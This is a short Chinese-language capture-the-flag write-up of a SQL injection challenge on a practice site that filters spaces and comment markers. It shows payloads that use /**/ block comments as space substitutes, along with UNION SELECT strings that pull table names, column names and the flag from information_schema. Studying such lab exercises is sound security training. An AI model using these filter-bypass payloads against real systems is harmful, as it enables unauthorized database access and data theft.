SQL注入(过滤空格和--+等注释符)
1、地址:http://ctf5.shiyanbar.com/web/index_2.php(过滤了空格和--+等注释符)
思路:确定注入参数值类型,直接输入单引号,根据报错信息确定参数值类型为字符型,如下图所示。
2、正常思路输入' or '1'='1,直接报错,信息为SQLi detected!,首先猜测or被过滤,直接去掉or,继续输入' '1'='1,
仍然报错,信息为SQLi detected!,猜测空格被过滤,直接输入’or‘1’=‘1,如下图所示,确定空格被过滤。
3、尝试使用多行注释符(块注释符)、一对英文括号、换行符、加号来代替空格。
第一次尝试:快注释符/**/
输入'/**/or/**/'1'='1
输入'/**/or/**/'1'='2,无任何返回,确定块注释符可以使用。
之后分别尝试括号、换行符和加号,均不可使用,最终采用块注释符。
4、爆当前数据库中的表
'/**/union/**/select/**/concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/having'1'='1
5、爆flag表中字段和值
'/**/union/**/select/**/concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'/**/having/**/'1'='1
'/**/union/**/select/**/flag/**/from/**/flag/**/having/**/'1'='1